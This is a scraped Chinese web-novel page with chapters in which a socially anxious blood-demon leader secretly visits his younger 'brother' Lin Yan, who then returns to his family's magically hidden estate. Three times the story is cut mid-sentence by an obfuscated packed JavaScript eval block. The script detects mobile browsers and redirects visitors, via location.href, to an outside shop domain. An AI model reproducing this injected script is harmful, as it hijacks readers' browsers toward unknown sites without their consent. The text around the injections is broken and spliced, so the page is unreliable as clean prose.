然后,他继续向着白塔方向…… 蠕动。 而等萨麦尔走到白塔附近时,已经是半个月之后了。 别误会,萨麦尔现在可光彩照人得很,完全不邋遢。 毕竟,一路上,他也没亏待自己。 虽然社恐,但他对生活品质还是有一定要求的。路途的血魔据点虽然被捣毁了大半,但还总有藏得好的剩了下来,成了他临时的补给站和休息所。这里吃点,那里拿点,顺便还能用他们烧的热水给自己洗澡洗衣服。 血魔们对失踪的物件都没有意见。 巴拉特早跟他们说过,家里要是偶尔丢了些吃的、喝的,少了些热水,那都是很常见的事情。不值得惊讶,也不要大惊小怪。万一真的丢了很重要的东西,就去找巴拉特报销吧。 萨麦尔是不会为此感到愧疚的! 弟弟妹妹的东西,哥哥用一下怎么了! 只是…… 他现在该怎么进里面去找林砚? 早两天的时候。 啊不对,应该 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17137094|191871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说一个月前,巴拉特跟他说的是,林砚最近不住在白塔校内,比较好接触。 一转眼,现在都过去一个月了。 哈哈,时间过得还真是快呢。 …… 遥遥看着白塔封闭的大门,萨麦尔双手抱胸,眉头紧锁,金色的血瞳里写满了严肃。 真正棘手的问题近在眼前。 为了弟弟,也为了不被人围观,进去的时候可千万不能被那死老太婆发现啊。他还不想现在就跟那死老太婆来一场沸血者与血魔的巅峰对决。 而且这里观众也太多了点。 他金色的眼眸中闪过挣扎、犹豫。 要不算了下次再说? 萨麦尔焦躁地原地转了两圈,白色的长发随着动作飘起。 可是来都来了! 有了! 干脆,晚上再进去吧!月黑风高,好办事!也符合身为萨麦尔应有的低调行事风格! 就这么一直等到了夜半三更,星月无光的时候。 萨麦尔掏出“瞬身”,往里面注入源血。 下一刻,“瞬身”开始读条…… 读条结束。 白塔西北处的角落里,萨麦尔的身影悄然浮现。他使用“瞬身”的位置距离白塔足够接近,在他精准的计算下,他一定能传送到白塔里面。 按照巴拉特和耶洗别的描述,萨麦尔开始在白塔外围谨慎地搜寻医务楼的位置。 萨麦尔将自己的气息收敛到极致,像幽灵一样,在建筑阴影和树木的阴影间移动,避开夜间巡逻的校卫队。感知全开,仔细辨别着每一栋建筑里的能量波动。 不要看见我不要看见我不要看见我…… 他找得很仔细,也很…… 慢。 很难说他是不是还在故意拖延时间。 总之,找了快一个小时,萨麦尔才终于摸到了医务楼。 感知到二楼的生命波动,萨麦尔轻轻跃起,精准地停在二楼窗户外,指尖轻轻扣住窗框。白色长发随风浮动,血泪般的血蚀纹路在月光下泛起光芒。 好了,到了。 弟弟就在里面。 接下来,只要轻轻敲敲窗户,或者弄出点动静,等弟弟开窗,然后自然地自我介绍…… 萨麦尔,你可以的!最后一步了! 他给自己鼓着劲,缓缓伸出手指,准备用最轻柔的力道触碰窗户玻璃。 萨麦尔此时充满了勇气! 就在他的指尖即将接触到玻璃的那一刹那—— “唰!” 窗帘毫无征兆地从里面被猛地拉开了! 发现得这么快吗? 萨麦尔的心脏差点漏跳一拍,随机狂喜! 不愧是我萨麦尔的弟弟! 这警戒心,这感知力!隔着窗帘和窗户都能察觉到外面的细微动静! 这就是家人之间血脉的呼唤啊! 金色的血瞳透过玻璃,对上了屋内那个站在窗边的身影。看着林砚那张和自己一样俊美非凡的脸,萨麦尔非常满意地笑了。这笑容让他脸上的忧郁憔悴一扫而空,变得异常生动耀眼,甚至带着点孩子气的得意。 即使穿着睡衣,也掩盖不住那份和我萨麦尔如出一辙的帅气! 没找错人!! 果然是我的弟弟!一看就是一家人! 狂喜过后,下一个挑战接踵而至。 这个时候该自我介绍了吧? 快!弟弟还从来都没见过我呢,我一定要给弟弟留个好印象。要亲切,要稳重,要有关怀,还要体现出家长的威严。 不对,是兄长的温暖! 萨麦尔张开嘴,大脑飞速运转,欲言又止。 可恶! 快说点什么啊! 死嘴!自己动啊! 大脑疯狂地向声带和嘴唇发送指令,结果是脑子和嘴巴直接相互打起架来,开始不受控制地变得扭曲。眉头紧紧皱起,金色的瞳孔里交织着焦急和窘迫,嘴角微微抽搐,那原本俊美无俦的脸,此刻看起来竟显得有些狰狞。 然后他绝望地发现,对面林砚看他的眼神,瞬间变得警惕了起来。 不要啊弟弟! 我不是这个意思啊! 萨麦尔的大脑发出了绝望的哀嚎。 53. 有话非得爬窗说吗? 林砚很认真地问了系统一个问题。 系统,你实话告诉我。 【请问。】 为什么漫画角色都喜欢爬窗,不喜欢走正门? 这是约定俗成的出场礼仪,还是拥有超能力后就会自动附带的行为艺术?是正门有什么我看不到的结界吗?还是说爬窗显得比较有格调? 林砚等了几秒。 系统没有立刻回答。 【……】 又过了几秒。 【身为系统的我难以理解过于复杂的人类情感,您呼叫的系统暂时无人接听,请稍后再拨……】 系统模仿机械故障回应了林砚,逃避了这个问题。 系统被问宕机了,虽然是装的。 行吧。 林砚重新收回注意力。 深夜,窗外。 那位扒在窗外、即使笑着也有点傲慢得居高临下的帅哥,林砚虽然没认出来您到底哪位,但可以百分之两百确定,绝对是个血魔。 那隔着玻璃都能感觉到的不详气息,还有那金底血瞳的眼睛,再加上脸颊上血泪般的纹路。 想认不出是血魔都难。 而且…… 好帅的忧郁男子。 林砚在心里客观地评价道。 这么英俊的一张脸,还是个白发,这不是X国人狂喜的设定吗?简直都要把辨识度给拉爆了。他但凡在《沸血升腾》漫画里出现过,哪怕只有一格,都绝不可能会让林砚忘记。 所以,是未出场角色?隐藏BOSS? 林砚心想。 怎么?之前巴拉特派来的没得手,袭击失败了不服气,还想要再打一架吗? 我可是睡一半就被弄醒了。虽然没什么起床气,但也完全可以奉陪的哦。 开玩笑的。 林砚能感觉到,对面的血魔没有敌意。 光是用排除法,林砚都能猜出来这位到底是谁了。 知道他林砚的存在,并且对他没有恶意;年纪比他先前见过的耶洗别、亚巴顿都要更年长,气质上跟巴拉特完全不符;实力强大到能不被巡逻的校卫队发现,光明正大地进入白塔,甚至都不屑于伪装;再加上长成这样,又气质独特的,绝不可能是没名没姓的路人甲或低级炮灰。 答案呼之欲出。 萨麦尔。 除了拥有“瞬身”的萨麦尔,还有谁能同时满足以上所有条件? ……还是赶紧让他进来吧。 让血魔首领半夜像个壁虎似的挂在自家窗外,这画面太美,他不敢想象被任何人看见的后果。 林砚正准备开窗,就看到原本至少还算是笑着的萨麦尔,突然冷下脸来,眉头重新蹙起,金色的血瞳里光芒闪烁不定,嘴角微微下撇。 表情变化之快,堪比俯冲的过山车。 见状,林砚动作一顿,警惕地后撤半步,迅速在意识里呼唤系统。 别思考那些有的没的了!系统,帮我紧急扫描分析一下,萨麦尔是不是想在这里动手?还是有什么别的企图!难不成是他发现了“此弟不宜久留”? 刚才佯装宕机的系统立刻恢复正常工作状态。 【指令确认,系统已重新上线。目标锁定中。】 【发现目标,检测为血魔首领萨麦尔。正在扫描其身上装备,检索角色过往历史行为记录……】 【扫描完成。】 【体表能量波动稳定,无攻击性术式预读迹象。未检测到显性武器。】 【生理指标检查中,检查到目标心率偏高,皮肤电阻异常,呼吸频率轻微紊乱。】 【微表情分析中,目标表情肌群呈现‘意图表达-表达受阻-焦虑’的连贯特征。】 【经对比分析,萨麦尔当前行为模式与数据库记载的‘严重社交情境适应性障碍’高度匹配。】 【?】 【……】 【再次分析确认中……】 【二次检测结束,分析无误。】 【砚宝,建议你打开窗户。高达99.7%的可能性证明,萨麦尔只是想跟你打个招呼。】 林砚:? 你刚才那个停顿和问号是怎么回事?你也觉得离谱是吧? 林砚再次看向窗外。 萨麦尔似乎察觉到了他的迟疑和后退,林砚分辨不出那张俊美而忧郁的脸上表情的含义,但能看到他放在窗框上的手指收紧,指节微微发白。 ……看起来不像演的。 林砚打开窗,夜风带着微凉的空气涌入房间。 萨麦尔轻巧无声地跃入室内。在窗外时看不出来,可等他进了屋里,站直了身体,直接比林砚还高了不止一个头。 如此大只的萨麦尔,被放进屋后,反倒是有些坐立难安了。 站定后的萨麦尔,没有立刻说话,也没有接着先前的动作看向林砚。他侧过头,视线有些飘忽地扫过房间的角落。总之就是不直接与林砚对视。 这里看看,那里转转,身体重心在左右脚之间不停地转换。 林砚粗略估计,从他进屋到现在不到一分钟的时间里,起码四十秒都在脚不着地。 林砚刚好趁着这个时候跟系统沟通。 他怎么了?脚下长刺了?还是我房间有什么问题? 【根据生理监测合并微表情与行为分析,结合已有情报“萨麦尔患有严重社交恐惧症”,当前行为可以解读为:他看到你有点害怕,正在犹豫该怎么开口跟你说话。】 【以及,同样基于其微表情与肢体语言分析,他现在大概在心里疯狂地祈祷,希望由你先开口跟他说话,以打破僵局。该项分析准确度仅有75.21%,还需更多案例信息作证检验。】 真的假的? 林砚拉上窗帘,然后转过身,眼睛从下往上,细细端详着萨麦尔。 被他这样毫不避讳地盯着看,萨麦尔显然更加紧张了。他紧绷着一张俊脸,闪电似地扭头回看林砚,眼神坚毅如铁,试图用表面的镇定掩盖下面的兵荒马乱。 明明看起来是个颓废美的忧郁系帅哥,但从系统那了解到了萨麦尔病情的林砚,仿佛能听到他在偷偷地说: ……干嘛? 被林砚盯着的萨麦尔,嘴唇再次蠕动了几下,喉结也跟着上下滚动,似乎还在和嘴巴奋死抗争。 “你……” “我……” 两人几乎同时开了口,声音在安静的房间里重叠。 林砚立刻停住,看着萨麦尔光速合上的嘴唇,心里那点因为对方身份而产生的紧绷感微妙地消散开来。 他伸出右手,做了个邀请的手势,引导着说: “是萨麦尔哥哥,对么?你先说。” 是错觉吗? 萨麦尔刚才好像眼睛在发光。 林砚轻轻摇了摇头,大概是没开灯的房间光线太烂,以至于被萨麦尔眼睛下方的血蚀纹路带出了视觉错觉。 萨麦尔向前凑近了一小步,微微俯身,仔细又仔细地用眼珠描摹着林砚的面容,努力地找着他脸上可能存在的血蚀破绽。 然后,他直起身,虽然语调因为紧张而有点莫无感情,但还能看得出是发自内心的感叹道: “真厉害啊,完全没有痕迹。原以为耶洗别在伪装方面已经是登峰造极的大师级了,现在看来,也比不过你。” 他指的是林砚脸上毫无血蚀印记这件事。 在萨麦尔看来,这是林砚完美伪装成沸血者的证明,可以说是相当了不起。 “巴拉特喊你砚弟弟,但我不习惯用这么亲昵的名字去称呼别人,感觉有点奇怪。我就直接喊你林砚吧。” 在萨麦尔说话的时候,林砚完全想不到,这个说话正经,甚至还有点老派客气的人,竟然会是个超级社恐。 萨麦尔把手伸进裤兜,摸了摸口袋,手指在里面停留了两秒。紧接着,他若无其事地将手抽出来,佯装插袋。 系统偷偷告诉林砚:【萨麦尔刚才僵了一下。】 林砚没敢光明正大地点头肯定,只在心里偷偷回复系统:我也看到了,我猜他是丢东西了。 脸上没有笑容的萨麦尔,又变回了忧郁帅哥。 他垂着眼睫,侧脸的线条在稀薄的月光下优美而落寞,眼下两道血泪似的血蚀纹路存在感变得更强了。 萨麦尔沉默了几秒,才再次抬起眼看向林砚,语气认真:“抱歉啊,弟弟。” “来时有些匆忙,把你准备的礼物忘在家里,忘了拿了。下回见面我会给你补上的,我保证。” 系统偷偷地强调:【匆忙。】
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17143138|191871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “没关系的,哥哥。”虽然林砚没懂系统什么意思,但还是适时地接上了萨麦尔说的话。 他现在在意的显然不是礼物。 “这里可是白塔,冒着这么大的风险来找我,是有什么事吗?” 林砚一边说,一边把巴拉特给的通讯器也掏了出来,给萨麦尔展示了一下。 接着问道:“是有什么重要的事情,没法让巴拉特用这个联系我,必须得哥哥你亲自来当面说吗?” 林砚问得自然,语气里带着适当的疑惑。 虽然萨麦尔面色不改,但林砚感觉到,他应该是凝固住了。 不知道为什么,在这不到十分钟的短暂相处中,林砚就已经能抛开萨麦尔的表情,读懂他的隐藏语言了。 而在林砚和系统绝对没法猜到的地方,萨麦尔在想什么呢? 萨麦尔在心里尖叫: 巴!!拉!!特!!你没跟我说过你有通讯器!! 半小时后。 得益于自己莫名其妙的“超绝读萨语能力”,林砚顺利地理解了萨麦尔的意思。 主要还是巴拉特有些担心弟弟的安全。 前段时间,巴拉特他们配合着林砚的计划,对白塔发动了一次袭击。派来的血魔小队并不知道林砚的真实身份,巴拉特只下达了“必须让林砚活着”的指令。但下面这帮傻子弟弟妹妹们是什么脑回路,他们这些做哥哥姐姐的心里却是清楚得很。 巴拉特担心林砚的身体状况。 毕竟林砚没回他消息嘛。 有没有在袭击中受伤?有没有身份暴露被白塔控制住?林砚看起来就是个喜欢逞强的弟弟,巴拉特觉得弟弟妹妹们还是要适当地多依赖依赖哥哥姐姐们比较好。 为了见他一面,杀个学生让耶洗别换皮混进去吧,太引战了不合适。万一不幸被白珍发现,更是大概率会让她直接折损在白塔里头。 再炸一次白塔呢,也不妥。而且红晶石也基本上用完了,遭过一次难的白塔肯定现在防得也更严。 有能力在警惕性拉满的白珍眼皮子底下进入白塔的,就只剩下身为长兄的萨麦尔了。 “顺便,”萨麦尔补充,语气里带着首领应有的沉静,“给你带了个最新的消息。议会那边,好像有个能力特殊的沸血者,摸到了希伯伦荒漠附近。” 希伯伦荒漠,血魔大本营,中心都城克马尔所在的区域。 “弟弟妹妹们最近都会谨慎行事,减少出现在外界的次数,”萨麦尔说着,语气越发冰冷,“得提防那些沸血者,是不是想对我们的家进行突然袭击。” 说到这里,萨麦尔垂眸,勾起唇角:“我其实还挺期待的。如果能真的打起来也不错,这样就能在议会那群老狗到齐的时候一口气把他们全宰了。” “可惜,现在还不是时候。” 林砚仿佛能凭空嗅到萨麦尔话语里的血腥味。 只是萨麦尔的笑容转瞬即逝,只留下眼里消散不去的忧郁。 “绝大部分的弟弟妹妹们都太弱小了。即使我能把沸血议会的人全杀了,弟弟妹妹们也全都会死在战场上。” 萨麦尔的目光落在林砚脸上,像是要把他此刻的样子记住。 “林砚呀,你要好好保护好自己,好好隐藏好你的身份。哥哥没法在这方面帮到你,也不能时时刻刻看着你。我不想哪天只是眼皮子一开一合,你就在我不知道的地方死掉了。” “你不是那些弱小得只能随波逐流的孩子,你是会跟我们一起见证自由时代的神的珍宝。” 林砚自动过滤了最后那句略显中二的形容。 而萨麦尔愿意亲自过来跑腿的原因也很简单:他也很想来见见巴拉特口里厉害的新弟弟。 作为血魔的大家长,还有着一个人想来就来想走就走的本事,所以他就来了。 萨麦尔说得轻描淡写,话语间充满了顶尖强者来去自如的潇洒之意。 只是…… 林砚听着,总觉得有哪里不对劲。估摸着这话背后肯定还藏了点什么没说。 但他对萨麦尔也不熟,暂时猜不出来。 ……到底是什么呢? 真好奇啊。 同一时刻。 在遥远的萨拉厄斯城里,巴拉特在睡梦中打了个喷嚏。 54. 我说医者慈悲,你懂我的意思吗^^…… 萨麦尔来也匆匆,去也匆匆。 该说的说完了,该看的也看完了,完成了(自认为)还算得体的兄弟间初次见面后,这位血魔首领连一秒都不想再在这个让他社交能量燃烧的房间里多待。 他后退半步,表情沉重地点头,跟林砚表示告别。然后转身,走向窗户,动作流畅地翻上窗台。跃出前,他好像忽然想起什么,又扭头回身,挥一挥衣袖,顺便给林砚把窗台擦了干净。 随即萨麦尔身形一晃,仿佛融入了夜色本身,无声无息地消失了。 林砚走到窗边,探头向外看了看。 寂寥的月光下,已是空无一人。 ……就非得从窗户出去吗? 林砚摸了摸下巴。 不过想想萨麦尔那社恐的性格,或许走窗户才是最让他安心的选择? 他关好窗户,重新拉上窗帘。 萨麦尔的话倒也让他弄明白了些事情。 就在昨天下午,一份来自林家的紧急通讯,直接发到了白塔塔主白珍那里。内容很简洁,措辞也很正式,但表达意思很击破:要求少家主林砚速速回家。 为什么不直接联系林砚? 因为打不通! 白塔到现在都没解除封锁呢! 白塔的封锁状态至今仍未解除。所有对外通讯都因遭到限制而失效,所有通讯器在塔内都只能连接到白塔内部网络,无法直接与外界取得联系。 白珍没打算短期内解除封校。闲聊时她把自己的想法告诉给了林砚,她发现孩子们已经习惯了这种封闭后相对单纯的环境,没了外界那些乱七八糟的信息干扰,连学习成绩都有了显著提升。只要基本物资有所保障、内部网络保持畅通,封到暑假再解封也不是不行。 不过林家会主动找他,还是有点出乎林砚的预料。在这之前,林砚一直以为林家只是系统为了把他拉进来而凭空制造的纯背景板。所以他之前也从没想过联系家里。 考虑到沸血界的设定里林家的重要性,既然背景里的真家人都这么要求了,他肯定得回去看一眼。 结合萨麦尔刚才提到过有特殊能力的沸血者摸到了血魔大本营附近,以及话语里隐含的局势动荡、议会有所动作的意思…… 林砚心里有了推测。 怕不是哪个身份重要的沸血者出了意外,受了一般治疗能力无法解决的重伤,被送到林家去抢救了吧。连林父都解决不了,还得把林砚喊回去,怕是已经严重到濒临血蚀爆发了。 虽然林砚不在意与任务无关者的生死,但还是不由得好奇。 会是谁呢? 原本林砚是打算明天再慢慢收拾行李的。但他的好奇心催促他赶紧回去看看。 干脆,现在就收拾东西,明天一大早就出发吧。 林砚要暂时离开白塔回家的消息,在他出发的当天上午,才被陆燃他们知道。 不是林砚故意不告而别,而是流程如此。 作为白塔唯一的校医,他要暂时离岗,白塔方面自然也得把这个消息通知给全体学生。尤其是那些天天在训练场挥汗如雨、磕磕碰碰不断的战斗狂们。 通知简洁明了,贴在公告栏,发在内部群聊里,大致意思是:医务处林老师因家事需暂时离校,归期未定。请所有同学在训练、对战及日常活动中务必加倍小心,避免在此期间受重伤。 苏清寒总结为:你们可千万别在林老师不在白塔的时候给自己玩脱了! 陆燃吃早饭时,听到食堂里学生在讨论突发的通知,这才得知此事。他愣了两秒,丢下吃了一半的早饭就往医务楼跑。 赵铁心跟陆燃一起吃的早饭,睡眼惺忪中第一反应觉得是同学在传谣。毕竟林砚刚请完病假,这才过去多久啊,哪能这么快又翘班。等他秉着不信谣不传谣的精神打开手机,确认完通知内容,也赶忙端着没吃完的早饭追了上去。 早就看到通知的苏清寒,没额外做什么动作。只是合上手里的书,站在窗边遥遥看向白塔外面。 而此时的白晓,还在因为昨天的高强度训练而睡得深沉。自从在上次战斗中,意识到自己是个毫无战斗能力的累赘后,她拒绝了所有人、包括白珍的劝说,狠下心,开启了锻体之路,一意孤行地想把自己往金刚芭比的方向打造。 他们都没能赶上给林砚送行。 说走就走的林砚,动作极快。等他们看到白塔通知的时候,林砚都已经坐在白珍安排的回家的车上了。 如此迅速的原因是:考虑到回去的时间应该不会太久,林砚直接放弃收拾,空手回家。反正是回自己家,家里总不至于什么都没有。 白珍对他的安全相当重视,尽管知道他实力不俗,但眼下是多事之秋,林家又远在深山,她还是临时抽调了一整队执行院的精英来护送他回家。 这些人沉默寡言,纪律严明。开车的人目光锐利,眼睛连一刻都没从道路上移开过。护卫车上的人也是全程保持高度警惕状态,尽显高手风范。 一路上,除了必要的确认指令和路况通报,几乎不主动与林砚交谈,林砚连他们自己人之间都没听到过闲聊。 坐车已经很无聊了,他现在想找个人说话分散下注意力都不行! 林砚只能在意识里跟系统有一搭没一搭地闲聊。 【砚宝,坚持,坚持住,还有四小时就到了。】 … 车队最终在山岭前停下,不是他们不想上山,只是前方已无车行道路。 执行院的人只能把林砚送到山脚下。 林砚下车,环顾四周。 眼前是一座被苍翠完全覆盖的山岭。与寻常山林不同,这里漫山遍野看不到任何其他树种,全是密密麻麻、粗细不一的竹子。竹竿笔直向天,竹叶层层叠叠,形成一片望不到边际的竹海。山风拂过,竹梢摇动,发出连绵不绝的沙沙声。 高大挺拔的竹子形成了实际为竹岭的山岭,青绿的竹叶与枝干交错,将山体覆盖得严严实实,几乎看不到任何绿色之外的存在。山脚下的竹林更是茂密得惊人,竹竿挨着竹竿,竹叶叠着竹叶,根本看不见任何能称之为路的缝隙,只有无穷无尽的竹子。 林家,就隐藏在这片竹海的深处。 系统提示出现,让林砚知道为什么那群人只能在这停下。 【检测到大规模、高强度复合型炼金符文反应。能量分析中……检测到包含:隐匿、防护、空间干涉、敌我识别等复合功能。】 【警告:非许可单位强行闯入将触发未知反击机制。】 显然,在场所有人里,有资格进山的,只有林家少家主林砚。 好在执行院精英们也本就真的只是来执行护送任务的,没有窥探林家隐秘的想法。 等林砚下车后,他们便掉头离开了。 林砚没有多跟他们客套,抬起脚就朝着那片看似毫无缝隙的竹海走去。身后的车队发动引擎,掉转车头,沿着来路驶离,很快消失在道路的尽头。 当林砚的脚踏上竹林边缘松软的积叶时,异象发生。 整片竹林,仿佛突然从沉睡中苏醒。 竹海律动着,竹叶沙沙作响,随后,那些紧密到不可思议的竹子们,优雅地倾斜交错,向两旁分开。短短几个呼吸间,就为林砚让出一条仅供他一人通行的道路。两侧依旧是严密的竹墙,光线透过顶端的竹叶缝隙洒下,在地面上投下斑驳的光点。 林砚没有犹豫,迈步向里面走去。 每一步落下,前方的道路都在向前悄然延伸,仿佛竹林在主动为他铺路。而当他走过之后,身后的道路两旁的竹子,便悄无声息地合拢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17147467|191871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回来,将他来时的足迹和路径完全抹去,就像那条路从未出现过。 【检测到空间波动……】 【分析中……】 【砚宝,这里存在非常精妙的炼金符文效果。此处的炼金符文阵兼具‘隐匿’、‘伸缩’与‘空间折叠’的功能。刚才出现的道路,并非只是单纯移动植物产生的,而是在不间断地连续空间拼接折叠。你现在看起来只是正常在竹林里行走,但在我的检测中,你每一步实际跨越的空间距离都超过了十米!】 这片竹林,是一个巨大的活体迷宫。没有得到主人的允许,外人即便强行硬闯进来,也只会被困在无穷无尽的竹海之中,永远找不到真正的出口,迷失在折叠的空间里。 每一步落下,前方的路便延伸一段,身后的路也消失一段。周围的景致几乎未曾改变,一直是笔直的竹径。时间感和距离感都在这里变得模糊。 于是林砚开始数数。 还没等他数到一百步,就已经穿过了竹海。 眼前豁然开朗。 竹林在这里骤然向两旁退开,露出一片开阔的山间平地。前方,古色古香的木制建筑群,遥遥出现在道路尽头。正门的门匾上,只写着“林府”两个大字。 那建筑风格更接近林砚现实记忆中的苏式山水庭院,林砚还是头一回在沸血界见到这样熟悉亲切的建筑风格。 白墙黛瓦,飞檐翘角,亭台楼阁隐约可见,蜿蜒的回廊连接着不同的院落。庭院内外,隐约可见假山堆叠,活水环绕,甚至能听到哗啦啦的流水声,清脆悦耳。在系统传输的属于“林砚”的背景里,他想起来那是后院小瀑布发出的声音。瀑布下连着一汪深潭,潭水引出溪流,溪流环绕着整个庭院。 距离林家宅邸看似还有一段路途。 林砚又往前踏了两步。 这两步的感觉更为奇妙。明明那宅邸还在百米开外,但随着他脚步落下,眼前的景象就如同被看电影时镜头快速拉近一般,宅邸大门、门前石阶、乃至门旁栽种的不知名树木,都瞬间变得清晰无比。 回头望去,来时的竹径早已消失不见 等林砚第二步落下,他就站到了门前的青石台阶下。 抬头,是厚重的黑漆木门,门楣上悬着匾额,上书两个大字:林府。 门是关着的。 但门旁站着一个男人。 身材修长,站姿挺拔,披着深灰色西装大衣,大衣下是熨帖的衬衫和西裤。林砚在看到他的瞬间,就确认了他的身份。这人眉眼间与林砚至少有七成相似,但男人的面容更为成熟,那是岁月留下的痕迹。与林砚最大的差异在于,对方有着一双非常慈悲的眼睛。眼型偏长,眼尾微微下垂,眉眼里仿佛蕴含着对世间万物的怜悯之情。 他只是站在那里,就给人一种值得信赖的感觉:想必这一定是位心怀仁意的医界圣手吧! 林砚认出这人就是他背景设定里父亲——林家的现任家主,林臻。 林砚看到了林臻,林臻自然也看到了他。 林砚还是头一回见到这位生理上的父亲。 此刻亲眼见到,这位父亲的外表完全符合他对一个古老医疗世家掌舵人的想象——儒雅、沉稳、充满智慧的慈悲。 看起来,应当是个挺好相处的长辈。 于是他抬步走上台阶,按照资料里应有的礼节,微微颔首,打了个招呼: “我回来了,父亲。” 林臻看着他,那温和慈悲的表情没有丝毫变化,随后,他侧身拉开大门。 然后,他开口了。 “格老子的,还磨蹭啥呢!赶紧麻溜过来!别让那傻X玩意儿死老子屋里咯!晦气!!” 林砚:? 还是林砚:我刚是不是听到我爹说了什么不太符合形象的话?